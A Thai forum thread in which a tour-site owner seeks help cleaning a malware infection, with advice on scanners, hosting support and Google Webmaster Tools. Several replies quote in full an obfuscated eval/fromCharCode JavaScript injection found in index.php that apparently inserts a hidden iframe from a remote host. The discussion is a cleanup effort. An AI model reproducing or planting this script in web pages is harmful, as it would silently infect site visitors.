ต่อไป »

[Tendo007]

ขอความช่วยเหลือแก้เว็บไซต์อันตรายครับ ขึ้น Malware หาไม่เจอว่าเป็นที่ไฟล์ไหน ใครมีวิธีช่วยทีครับ หาต้นตอไม่เจอครับ  ถ้าจ้างแก้คิดค่าจ้างเท่าไหร่ PM มาทีครับ  

โค๊ด:

 sightandseatour.com  

[Tcomputer]

ลองแวะอ่านที่นี้ดูครับ hxxp://www.kaamania.com/virusiframe/

[Tendo007]

ลองแวะอ่านที่นี้ดูครับ hxxp://www.kaamania.com/virusiframe/

ขอบคุณมากครับ ลองทำแล้วแต่หาไม่เจอว่าอยู่ไหน ขึ้นแบบนี้เต็มเลย


/index.php?option=com_content&view=category&id=37&Itemid=83 - Details   4/15/12
/package-tour-rayong/77-silver-beach.html - Details   4/17/12
/home/36-5-stars-hotels/54-leam-maepim-beach-resort.html - Details   4/14/12
/home/37-package-tour/58-package-tour-2.html - Details   4/15/12
/home/37-package-tour/60-package-tour-5.html - Details   4/18/12
/home/37-package-tour/79-package-tour-8.html - Details   4/17/12
/home/37-package-tour/82-package-tour-8.html - Details   4/17/12
/component/content/article/35-place/69-sunthon-phu-monument-.html - Details   4/13/12
/ - Details   4/18/12
/index.php - Details   4/17/12
/index.php?option=com_content&view=article&id=56%3Athe-princess-beach-resort&catid=36%3A5-stars-hotels&Itemid=1 - Details   4/18/12
/index.php?option=com_content&view=category&id=37&Itemid=83 - Details   4/27/12
/office-map.html - Details   4/17/12
/package-tour-rayong.html - Details   4/17/12
/home/35-place/51-leammaepimtour.html - Details   4/27/12
/home/35-place/52-home-stay.html - Details   4/17/12
/home/35-place/71-leammaepim2.html - Details   4/18/12
/home/35-place/72-leam-mae-pim-tour-3.html - Details   4/16/12
/home/37/78-2-day-winter.html - Details   4/15/12

[thaimakemoney]

ล้าง host เลยครับ แบบนี้ แก้ไม่ไหว ( sql เก็บไว้)

[@StarexVIP]

อันดับแรกติดต่อ support ให้สแกนเลยครับ
เมื่อเขาแจ้งกลับมาว่าได้แสกนแก้ไขแล้ว
ท่านก็ไปแจ้งที่ google webmaster
จบ

[Tendo007]

ล้าง host เลยครับ แบบนี้ แก้ไม่ไหว ( sql เก็บไว้)

ผมลองติดตั้งใหม่ก็ยังเป็นอีก แถมลามไปยังโดเมนอื่นอีก 2 โดเมน ปวดหัวเลยครับ

[thaimakemoney]

อันดับแรกติดต่อ support ให้สแกนเลยครับ
เมื่อเขาแจ้งกลับมาว่าได้แสกนแก้ไขแล้ว
ท่านก็ไปแจ้งที่ google webmaster
จบ

แต่เว็บนี้ AVG ผมร้องกรี๊ด...ด...ด....ด เลย

[Tendo007]

ตอนนี้ระบาดไปยังโดเมนอื่นอีก 3 โดเมนแล้วครับพี่น้อง 

[oatofvrteam]

ลองวิธีนี้ดูยังครับ ใช้ NOD32 หรือ Kasperky ที่เป็นพวก Internet Security (ไม่ใช่ Anti Virus อย่างเดียว) ลงไว้ที่เครื่องแล้วเข้าไปที่หน้าเว็บไซต์นั้นดูครับ มันจะเด้งขึ้นว่าไฟล์ไหนเป็นตัวปัญหา ในกรณีที่มันรู้จัก ผมเคยลองกับเว็บที่ติดไวรัสแล้ว ได้ผลครับ ถ้ายังไม่ได้ลองแนะนำครับ ตัวทดลองใช้ก็ได้ครับ 30 วันหมดอายุ โหลดได้ที่เว็บไซต์หลักของแต่ละเจ้าเขา

[jupiterjan]

http://sitecheck.sucuri.net/scanner/

ลองอันนี้ยังครับ

[UnLock UnlimiT]

อันดับแรกติดต่อ support ให้สแกนเลยครับ
เมื่อเขาแจ้งกลับมาว่าได้แสกนแก้ไขแล้ว
ท่านก็ไปแจ้งที่ google webmaster
จบ

ยืนยันตามนี้ครับผมเจอบ่อยอยู่

แจ้งไปแป้บเดียวเดี้ยวก็ไม่ขึ้นเตือนหล่ะ

[oatofvrteam]

เข้าไปดูที่เว็บแล้วยังติด code แปลกๆ อยู่เลย ที่หน้าแรกอ่ะ index.php เข้าไปก็เจอแล้วครับ ลองโหลดเข้ามาเอา <script> ข้างบนออกที่ขึ้นต้นด้วย <script>i=0;try{prototype;}catch(egewgsd) แล้วมันจะปิดท้ายด้วย </script> เอาออกให้หมดได้เลยครับ

อันนี้น่าจะเป็นไวรัสครับ

ถ้ายังติดไวรัสอยู่ ถึงแจ้งไปก็ false ครับ

[chinjung01]

ถ้าเป็นเมื่อก่อนจะทำให้ฟรี แต่ตอนนี้ไม่กล้า เพราะ kis หมดอายุ  

แนวทางนะครับ

1.สงสัยก่อนเลยว่าไวรัสน่าจะอยู่ที่ index.php
2.เข้าไปสมัคร google account แล้วใช้ webmaster tool มันจะบอกว่าไวรัสอยู่ตรงไหน
3.ใช้ filezilla แก้ไขไฟล์ โดยให้มันช่วยเรียงไฟล์ล่าสุดที่มีการอัพเดด แล้วใล่เปิดไฟล์ล่าสุดที่มีการอัพเดด ไวรัสมักอยู่ไฟล์แถวๆนั้น
4.ไล่ลบอนที่คิดว่าไม่ใช่ code
5. เข้าไป webmaster tool ใหม่ให้มันเช็คใหม่ ตรวจสอบใหม่ ไปเรื่อยๆ จนกว่าจะหาไวรัสไม่เจอ

[bankker6480]

ถ้าเป็นเมื่อก่อนจะทำให้ฟรี แต่ตอนนี้ไม่กล้า เพราะ kis หมดอายุ 

แนวทางนะครับ

1.สงสัยก่อนเลยว่าไวรัสน่าจะอยู่ที่ index.php
2.เข้าไปสมัคร google account แล้วใช้ webmaster tool มันจะบอกว่าไวรัสอยู่ตรงไหน
3.ใช้ filezilla แก้ไขไฟล์ โดยให้มันช่วยเรียงไฟล์ล่าสุดที่มีการอัพเดด แล้วใส่เปิดไฟล์ล่าสุดที่มีการอัพเดด ไวรัสมักอยู่ไฟล์แถวๆนั้น
4.ไล่ลบอนที่คิดว่าไม่ใช่ code
5. เข้าไป webmaster tool ใหม่ให้มันเช็คใหม่ ตรวจสอบใหม่ ไปเรื่อยๆ จนกว่าจะหาไวรัสไม่เจอ

 

[Tcomputer]

<script>i=0;try{prototype;}catch(egewgsd){f=['-32b-32b64b61b-9b-1b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b0b82b-28b-32b-32b-32b64b61b73b56b68b60b73b-1b0b18b-28b-32b-32b84b-9b60b67b74b60b-9b82b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b78b73b64b75b60b-1b-7b19b64b61b73b56b68b60b-9b74b73b58b20b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b-9b78b64b59b75b63b20b-2b8b7b-2b-9b63b60b64b62b63b75b20b-2b8b7b-2b-9b74b75b80b67b60b20b-2b77b64b74b64b57b64b67b64b75b80b17b63b64b59b59b60b69b18b71b70b74b64b75b64b70b69b17b56b57b74b70b67b76b75b60b18b67b60b61b75b17b7b18b75b70b71b17b7b18b-2b21b19b6b64b61b73b56b68b60b21b-7b0b18b-28b-32b-32b84b-28b-32b-32b61b76b69b58b75b64b70b69b-9b64b61b73b56b68b60b73b-1b0b82b-28b-32b-32b-32b77b56b73b-9b61b-9b20b-9b59b70b58b76b68b60b69b75b5b58b73b60b56b75b60b28b67b60b68b60b69b75b-1b-2b64b61b73b56b68b60b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b74b73b58b-2b3b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b0b18b61b5b74b75b80b67b60b5b77b64b74b64b57b64b67b64b75b80b20b-2b63b64b59b59b60b69b-2b18b61b5b74b75b80b67b60b5b71b70b74b64b75b64b70b69b20b-2b56b57b74b70b67b76b75b60b-2b18b61b5b74b75b80b67b60b5b67b60b61b75b20b-2b7b-2b18b61b5b74b75b80b67b60b5b75b70b71b20b-2b7b-2b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b78b64b59b75b63b-2b3b-2b8b7b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b63b60b64b62b63b75b-2b3b-2b8b7b-2b0b18b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b5b56b71b71b60b69b59b26b63b64b67b59b-1b61b0b18b-28b-32b-32b84'][0].split('b');v="e" "va" "l";}if(v)e=window[v];try{new 125;}catch(qwg){w=f;s=[];}r=String;for(;567!=i;i =1){j=i;if(e)s=s r["f" "r" "omC" "har" "C" "ode"](w[j]*1 41);}if(e)e(s);</script>

สคริปตัวนี้น่าสงสัยครับ ไม่รู้คืออะไร แนะนำให้ลองลบออกดูครับ ผมลองเข้าไปเปิดดู Code จะเห็นในไฟล์ Index  แต่ไฟล์อื่นๆ ก็ควรตรวจสอบด้วยนะครับผม

ลองแวะอ่านที่นี้ hxxp://smf.ruk-com.in.th/topic/9320-Simple-Search-Replace-โปรแกรมเอา-iframe-ไวรัสออกจากเว็บไซต์(smf).html เผื่อช่วยท่านได้

[Tendo007]

ขอบคุณครับทุกทุกท่าน  ขณะนี้แจ้งไปยัง Hosting ให้ช่วย scan  รอดำเนินการอยู่ครับ  
ระหว่านี้เดี๋ยวขอลองวิธีต่างๆที่ท่านแนะนำกันเข้ามา  ได้ผลยังไงจะแจ้งให้ทราบครับ   

[chinjung01]

ขอบคุณครับทุกทุกท่าน  ขณะนี้แจ้งไปยัง Hosting ให้ช่วย scan  รอดำเนินการอยู่ครับ  
ระหว่านี้เดี๋ยวขอลองวิธีต่างๆที่ท่านแนะนำกันเข้ามา  ได้ผลยังไงจะแจ้งให้ทราบครับ   

<script>i=0;try{prototype;}catch(egewgsd){f=['-32b-32b64b61b-9b-1b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b0b82b-28b-32b-32b-32b64b61b73b56b68b60b73b-1b0b18b-28b-32b-32b84b-9b60b67b74b60b-9b82b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b78b73b64b75b60b-1b-7b19b64b61b73b56b68b60b-9b74b73b58b20b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b-9b78b64b59b75b63b20b-2b8b7b-2b-9b63b60b64b62b63b75b20b-2b8b7b-2b-9b74b75b80b67b60b20b-2b77b64b74b64b57b64b67b64b75b80b17b63b64b59b59b60b69b18b71b70b74b64b75b64b70b69b17b56b57b74b70b67b76b75b60b18b67b60b61b75b17b7b18b75b70b71b17b7b18b-2b21b19b6b64b61b73b56b68b60b21b-7b0b18b-28b-32b-32b84b-28b-32b-32b61b76b69b58b75b64b70b69b-9b64b61b73b56b68b60b73b-1b0b82b-28b-32b-32b-32b77b56b73b-9b61b-9b20b-9b59b70b58b76b68b60b69b75b5b58b73b60b56b75b60b28b67b60b68b60b69b75b-1b-2b64b61b73b56b68b60b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b74b73b58b-2b3b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b0b18b61b5b74b75b80b67b60b5b77b64b74b64b57b64b67b64b75b80b20b-2b63b64b59b59b60b69b-2b18b61b5b74b75b80b67b60b5b71b70b74b64b75b64b70b69b20b-2b56b57b74b70b67b76b75b60b-2b18b61b5b74b75b80b67b60b5b67b60b61b75b20b-2b7b-2b18b61b5b74b75b80b67b60b5b75b70b71b20b-2b7b-2b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b78b64b59b75b63b-2b3b-2b8b7b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b63b60b64b62b63b75b-2b3b-2b8b7b-2b0b18b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b5b56b71b71b60b69b59b26b63b64b67b59b-1b61b0b18b-28b-32b-32b84'][0].split('b');v="e" "va" "l";}if(v)e=window[v];try{new 125;}catch(qwg){w=f;s=[];}r=String;for(;567!=i;i =1){j=i;if(e)s=s r["f" "r" "omC" "har" "C" "ode"](w[j]*1 41);}if(e)e(s);</script>

สคริปตัวนี้น่าสงสัยครับ ไม่รู้คืออะไร แนะนำให้ลองลบออกดูครับ ผมลองเข้าไปเปิดดู Code จะเห็นในไฟล์ Index  แต่ไฟล์อื่นๆ ก็ควรตรวจสอบด้วยนะครับผม

ลองแวะอ่านที่นี้ hxxp://smf.ruk-com.in.th/topic/9320-Simple-Search-Replace-โปรแกรมเอา-iframe-ไวรัสออกจากเว็บไซต์(smf).html เผื่อช่วยท่านได้

ผมมั่นใจถึง 99% ว่าใช่ชัวร์ แต่เพื่อความ 100% ก่อนลบ สำรองไฟล์นี้ไว้สักที่ก่อน
ไอ้ที่เข้ารหัสส่วนใหญ่ใช่แน่ๆ

[thaimakemoney]

พวกนี้มันจะทำไปทำไม 

[Tendo007]

<script>i=0;try{prototype;}catch(egewgsd){f=['-32b-32b64b61b-9b-1b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b0b82b-28b-32b-32b-32b64b61b73b56b68b60b73b-1b0b18b-28b-32b-32b84b-9b60b67b74b60b-9b82b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b78b73b64b75b60b-1b-7b19b64b61b73b56b68b60b-9b74b73b58b20b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b-9b78b64b59b75b63b20b-2b8b7b-2b-9b63b60b64b62b63b75b20b-2b8b7b-2b-9b74b75b80b67b60b20b-2b77b64b74b64b57b64b67b64b75b80b17b63b64b59b59b60b69b18b71b70b74b64b75b64b70b69b17b56b57b74b70b67b76b75b60b18b67b60b61b75b17b7b18b75b70b71b17b7b18b-2b21b19b6b64b61b73b56b68b60b21b-7b0b18b-28b-32b-32b84b-28b-32b-32b61b76b69b58b75b64b70b69b-9b64b61b73b56b68b60b73b-1b0b82b-28b-32b-32b-32b77b56b73b-9b61b-9b20b-9b59b70b58b76b68b60b69b75b5b58b73b60b56b75b60b28b67b60b68b60b69b75b-1b-2b64b61b73b56b68b60b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b74b73b58b-2b3b-2b63b75b75b71b17b6b6b57b80b67b77b64b63b56b5b73b76b6b58b70b76b69b75b8b15b5b71b63b71b-2b0b18b61b5b74b75b80b67b60b5b77b64b74b64b57b64b67b64b75b80b20b-2b63b64b59b59b60b69b-2b18b61b5b74b75b80b67b60b5b71b70b74b64b75b64b70b69b20b-2b56b57b74b70b67b76b75b60b-2b18b61b5b74b75b80b67b60b5b67b60b61b75b20b-2b7b-2b18b61b5b74b75b80b67b60b5b75b70b71b20b-2b7b-2b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b78b64b59b75b63b-2b3b-2b8b7b-2b0b18b61b5b74b60b75b24b75b75b73b64b57b76b75b60b-1b-2b63b60b64b62b63b75b-2b3b-2b8b7b-2b0b18b-28b-32b-32b-32b59b70b58b76b68b60b69b75b5b62b60b75b28b67b60b68b60b69b75b74b25b80b43b56b62b37b56b68b60b-1b-2b57b70b59b80b-2b0b50b7b52b5b56b71b71b60b69b59b26b63b64b67b59b-1b61b0b18b-28b-32b-32b84'][0].split('b');v="e" "va" "l";}if(v)e=window[v];try{new 125;}catch(qwg){w=f;s=[];}r=String;for(;567!=i;i =1){j=i;if(e)s=s r["f" "r" "omC" "har" "C" "ode"](w[j]*1 41);}if(e)e(s);</script>

สคริปตัวนี้น่าสงสัยครับ ไม่รู้คืออะไร แนะนำให้ลองลบออกดูครับ ผมลองเข้าไปเปิดดู Code จะเห็นในไฟล์ Index  แต่ไฟล์อื่นๆ ก็ควรตรวจสอบด้วยนะครับผม

ลองแวะอ่านที่นี้ hxxp://smf.ruk-com.in.th/topic/9320-Simple-Search-Replace-โปรแกรมเอา-iframe-ไวรัสออกจากเว็บไซต์(smf).html เผื่อช่วยท่านได้

ลองใช้โปรแกรม ค้นหา script นี้แล้ว แต่ไม่พบครับ

[Deleted]

แก้ code ออกแล้วรีบไป update กับ google webmaster